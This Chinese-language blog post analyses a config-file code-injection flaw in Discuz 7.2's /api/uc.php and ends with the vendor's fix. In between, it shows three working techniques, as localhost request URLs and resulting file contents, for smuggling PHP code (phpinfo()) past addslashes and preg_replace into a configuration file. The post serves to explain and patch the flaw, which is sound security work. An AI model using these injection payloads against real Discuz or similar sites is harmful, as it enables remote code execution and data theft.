問(wèn)題
阿里云安騎士報(bào)discuz 7.2版本的/api/uc.php存在代碼寫(xiě)入漏洞,導(dǎo)致黑客可寫(xiě)入惡意代碼獲取uckey,最終進(jìn)入網(wǎng)站后臺(tái),造成數(shù)據(jù)泄漏。
漏洞代碼
function updateapps($get, $post) {
......
#行360
$configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
//將POST收到子系統(tǒng)的uc_api寫(xiě)入配置文件,
//對(duì)接收的參數(shù)增加addslashes避免直接輸入[' | "] 閉包前面的符號(hào),造成寫(xiě)任意代碼
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i",
"define('UC_API', '".addslashes($UC_API)."');", $configfile);
if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
@fwrite($fp, trim($configfile));
@fclose($fp);
}
......
}
最開(kāi)始處理這個(gè)漏洞時(shí),只是照著網(wǎng)上的方案修復(fù)了一下,未求甚解。直到最近看了P神的博客,突然茅塞頓開(kāi)。照葫蘆畫(huà)瓢寫(xiě)下這個(gè)漏洞的利用方法。
后話:最好的修復(fù)方式應(yīng)該是:與最新版系統(tǒng)對(duì)比不同。
此外,當(dāng)有開(kāi)源系統(tǒng)發(fā)布新版時(shí),也可以通過(guò)查看diff高效的發(fā)現(xiàn)舊舊版本安全漏洞。
漏洞利用
假設(shè)對(duì)方已經(jīng)獲取了你的UC_KEY,可以使用Dz自帶的_authcode方法發(fā)送任意的請(qǐng)求。將漏洞代碼簡(jiǎn)化如下:
#讀取配置,用請(qǐng)求參數(shù)中的UC_API替換文件內(nèi)容,回寫(xiě)到文件中
$file = file_get_contents('./config.php');
$UC_API = $_REQUEST['uc_api'];
$file = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $file);
file_put_contents('./config.php', $file);
法1 (利用正則 .*? 的非貪婪匹配 )
#第一步:插入',并用//注釋后面的代碼
http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();//
#config.php : 此時(shí)配置正常
define('UC_API', 'aaa\');phpinfo();//');
#第二步:uc_api=任意內(nèi)容,利用正則將兩個(gè)['aaa\']中的內(nèi)容提換掉
http://localhost/safe/conf_test.php?uc_api=ccb
#confing.php: 摻入phpinfo 代碼可執(zhí)行
define('UC_API', 'ccb');phpinfo();//');
OR,使用 %0a將代碼折行注釋
#第一步:插入',并折行注釋后續(xù)代碼
http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();%0a//
#config.php :
# define('UC_API', 'aaa\');phpinfo();
# //');
#第二步同上
法2 (利用preg_replace 第二個(gè)參數(shù),自動(dòng)轉(zhuǎn)義反斜線 '' )

正則替換的第二個(gè)參數(shù)會(huì)自動(dòng)進(jìn)行轉(zhuǎn)義,將兩個(gè)連續(xù)的\\,轉(zhuǎn)義為一個(gè)\。 所以如果存在 {\\\'} 則會(huì)被轉(zhuǎn)義為{\\'},最后多出來(lái)一個(gè){'}
#訪問(wèn):
http://localhost/safe/conf_test.php?uc_api=aaa\');phpinfo();//
#config.php : 成功插入可執(zhí)行代碼
define('UC_API', 'aaa\\'); phpinfo(); //');
法3(利用正則\n|$n,將第n個(gè)子組替換到文本中)
#正則替換子組功能示例
$a = 'aa1234aa';
$b = preg_replace('/aa(\d+)aa/', 'bb\1bb', $a);
echo $b;
//輸出: bb1234bb。 詳細(xì)說(shuō)明見(jiàn)上圖preg_replace.png
%00 代表字符串Null,有各種文件相關(guān)的截?cái)嗦┒础?但addslashes( urldecode(%00) ) = '\0'。
在正則中'\0' 正好表示完整模式的匹配文本,可以用來(lái)利用。
#第一步:
http://localhost/safe/conf_test.php?uc_api=aaa);phpinfo();//
#config.php :
define('UC_API', 'aaa);phpinfo();//');
#第二步:uc_api=%00
#confing.php:
define('UC_API', '【define('UC_API', 'aaa\');】');phpinfo();//');
#第三步:
# todo,這個(gè)使用define來(lái)配置變量,在此處用%00這個(gè)方法不是很好實(shí)現(xiàn)漏洞利用,構(gòu)造合規(guī)語(yǔ)法需要多次嘗試。
下面套用一個(gè)簡(jiǎn)單的例子:
<?php
#conf_set.php
#配置文件使用 $option='xxx'; 形式來(lái)配置,覆蓋語(yǔ)法一樣
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
file_put_contents('xxxxx/option.php',$file);
?>
漏洞復(fù)現(xiàn):
#第一次傳入:;phpinfo();
#文件內(nèi)容:$option=';phpinfo();';
#第二次傳入:%00
#%00被addslashes()轉(zhuǎn)為\0,而\0在preg_replace函數(shù)中會(huì)被替換為“匹配到的全部?jī)?nèi)容”,
#此時(shí)preg_replace要執(zhí)行的代碼如下:
preg_replace('|\$option=\'.*\';|',"\$option='\0';",$file);
#文件內(nèi)容: $option='\$option='; phpinfo(); ';';
#成功閉合
漏洞修復(fù)
官網(wǎng)修復(fù)方案:
//1. 先過(guò)濾掉POST參數(shù)中的特殊字符
if($post['UC_API']) {
$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
unset($post['UC_API']);
}
......
//2. 寫(xiě)入文件前判斷UC_API是否為url格式
if(preg_match('/^https?:\/\//is', $UC_API)) {
$configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i",
"define('UC_API', '".addslashes($UC_API)."');", $configfile);
if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
@fwrite($fp, trim($configfile));
@fclose($fp);
}
}
相關(guān)閱讀: